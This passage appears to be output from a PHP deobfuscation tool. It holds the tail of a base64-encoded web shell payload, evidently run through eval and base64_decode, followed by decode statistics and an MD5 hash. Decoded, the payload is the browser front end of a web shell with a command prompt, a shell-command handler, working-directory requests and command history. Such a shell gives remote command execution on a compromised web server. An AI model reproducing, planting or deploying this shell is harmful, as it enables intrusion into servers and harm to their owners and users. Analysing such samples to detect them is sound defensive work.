c3Bhbj46fiMgIn1mdW5jdGlvbiB1cGRhdGVDd2QoZSl7aWYoZSlyZXR1cm4gQ1dEPWUsdm9pZCBfdXBkYXRlUHJvbXB0KCk7bWFrZVJlcXVlc3QoIj9mZWF0dXJlPXB3ZCIse30sZnVuY3Rpb24oZSl7Q1dEPWUuY3dkLF91cGRhdGVQcm9tcHQoKX0pfWZ1bmN0aW9uIGVzY2FwZUh0bWwoZSl7cmV0dXJuIGUucmVwbGFjZSgvJi9nLCImYW1wOyIpLnJlcGxhY2UoLzwvZywiJmx0OyIpLnJlcGxhY2UoLz4vZywiJmd0OyIpfWZ1bmN0aW9uIF91cGRhdGVQcm9tcHQoKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2hlbGwtcHJvbXB0IikuaW5uZXJIVE1MPWdlblByb21wdChDV0QpfWZ1bmN0aW9uIF9vblNoZWxsQ21kS2V5RG93bihlKXtzd2l0Y2goZS5rZXkpe2Nhc2UiRW50ZXIiOmZlYXR1cmVTaGVsbChlU2hlbGxDbWRJbnB1dC52YWx1ZSksaW5zZXJ0VG9IaXN0b3J5KGVTaGVsbENtZElucHV0LnZhbHVlKSxlU2hlbGxDbWRJbnB1dC52YWx1ZT0iIjticmVhaztjYXNlIkFycm93VXAiOjA8aGlzdG9yeVBvc2l0aW9uJiYoaGlzdG9yeVBvc2l0aW9uLS0sZVNoZWxsQ21kSW5wdXQuYmx1cigpLGVTaGVsbENtZElucHV0LnZhbHVlPWNvbW1hbmRIaXN0b3J5W2hpc3RvcnlQb3NpdGlvbl0sX2RlZmVyKGZ1bmN0aW9uKCl7ZVNoZWxsQ21kSW5wdXQuZm9jdXMoKX0pKTticmVhaztjYXNlIkFycm93RG93biI6aWYoaGlzdG9yeVBvc2l0aW9uPj1jb21tYW5kSGlzdG9yeS5sZW5ndGgpYnJlYWs7KytoaXN0b3J5UG9zaXRpb249PT1jb21tYW5kSGlzdG9yeS5sZW5ndGg/ZVNoZWxsQ21kSW5wdXQudmFsdWU9IiI6KGVTaGVsbENtZElucHV0LmJsdXIoKSxlU2hlbGxDbWRJbnB1dC5mb2N1cygpLGVTaGVsbENtZElucHV0LnZhbHVlPWNvbW1hbmRIaXN0b3J5W2hpc3RvcnlQb3NpdGlvbl0pO2JyZWFrO2Nhc2UiVGFiIjplLnByZXZlbnREZWZhdWx0KCksZmVhdHVyZUhpbnQoKX19ZnVuY3Rpb24gaW5zZXJ0VG9IaXN0b3J5KGUpe2NvbW1hbmRIaXN0b3J5LnB1c2goZSksaGlzdG9yeVBvc2l0aW9uPWNvbW1hbmRIaXN0b3J5Lmxlbmd0aH1mdW5jdGlvbiBtYWtlUmVxdWVzdChlLG4sdCl7dmFyIG89bmV3IFhNTEh0dHBSZXF1ZXN0O28ub3BlbigiUE9TVCIsZSwhMCksby5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKSxvLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpe2lmKDQ9PT1vLnJlYWR5U3RhdGUmJjIwMD09PW8uc3RhdHVzKXRyeXt2YXIgZT1KU09OLnBhcnNlKG8ucmVzcG9uc2VUZXh0KTt0KGUpfWNhdGNoKGUpe2FsZXJ0KCJFcnJvciB3aGlsZSBwYXJzaW5nIHJlc3BvbnNlOiAiK2UpfX0sby5zZW5kKGZ1bmN0aW9uKCl7dmFyIGU9W107Zm9yKHZhciB0IGluIG4pbi5oYXNPd25Qcm9wZXJ0eSh0KSYmZS5wdXNoKGVuY29kZVVSSUNvbXBvbmVudCh0KSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KG5bdF0pKTtyZXR1cm4gZS5qb2luKCImIil9KCkpfWRvY3VtZW50Lm9uY2xpY2s9ZnVuY3Rpb24oZSl7ZT1lfHx3aW5kb3cuZXZlbnQ7dmFyIHQ9d2luZG93LmdldFNlbGVjdGlvbigpOyJTRUxFQ1QiIT09KGUudGFyZ2V0fHxlLnNyY0VsZW1lbnQpLnRhZ05hbWUmJih0LnRvU3RyaW5nKCl8fGVTaGVsbENtZElucHV0LmZvY3VzKCkpfSx3aW5kb3cub25sb2FkPWZ1bmN0aW9uKCl7ZVNoZWxsQ21kSW5wdXQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNoZWxsLWNtZCIpLGVTaGVsbENvbnRlbnQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNoZWxsLWNvbnRlbnQiKSx1cGRhdGVDd2QoKSxlU2hlbGxDbWRJbnB1dC5mb2N1cygpfTwvc2NyaXB0PjwvaGVhZD48Ym9keT48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxkaXYgaWQ9InNoZWxsIj48cHJlIGlkPSJzaGVsbC1jb250ZW50Ij4KICAgICAgICAgICAgICAgIDxkaXYgaWQ9InNoZWxsLWxvZ28iPjxzcGFuPjwvc3Bhbj4KIF9fXyAgICAgICBfX19fX19fXyAgX19fX19fX18gIF9fXyAgX19fICBfX19fX19fXyAgIF9fX19fX18gICAgICAKfFwgIFwgICAgIHxcICAgX18gIFx8XCAgIF9fX19cfFwgIFx8XCAgXHxcICAgX19fICBcfFwgIF9fXyBcICAgICAKXCBcICBcICAgIFwgXCAgXHxcICBcIFwgIFxfX198XCBcICBcXFwgIFwgXCAgXFwgXCAgXCBcICAgX18vfCAgICAKIFwgXCAgXCAgICBcIFwgICBfXyAgXCBcICBcICBfX1wgXCAgXFxcICBcIFwgIFxcIFwgIFwgXCAgXF98L19fICAKICBcIFwgIFxfX19fXCBcICBcIFwgIFwgXCAgXHxcICBcIFwgIFxcXCAgXCBcICBcXCBcICBcIFwgIFxffFwgXCAKICAgXCBcX19fX19fX1wgXF9fXCBcX19cIFxfX19fX19fXCBcX19fX19fX1wgXF9fXFwgXF9fXCBcX19fX19fX1wKICAgIFx8X19fX19fX3xcfF9ffFx8X198XHxfX19fX19ffFx8X19fX19fX3xcfF9ffCBcfF9ffFx8X19fX19fX3wKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvcHJlPjxkaXYgaWQ9InNoZWxsLWlucHV0Ij48bGFiZWwgY2xhc3M9InNoZWxsLXByb21wdCJmb3I9InNoZWxsLWNtZCJpZD0ic2hlbGwtcHJvbXB0Ij4/Pz88L2xhYmVsPjxkaXY+PGlucHV0IGlkPSJzaGVsbC1jbWQibmFtZT0iY21kIm9ua2V5ZG93bj0iX29uU2hlbGxDbWRLZXlEb3duKGV2ZW50KSI+PC9kaXY+PC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRt')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 199d48a43eab66d0cc3b2a683773807b |
Eval Count | 1 |
Decode Time | 127 ms |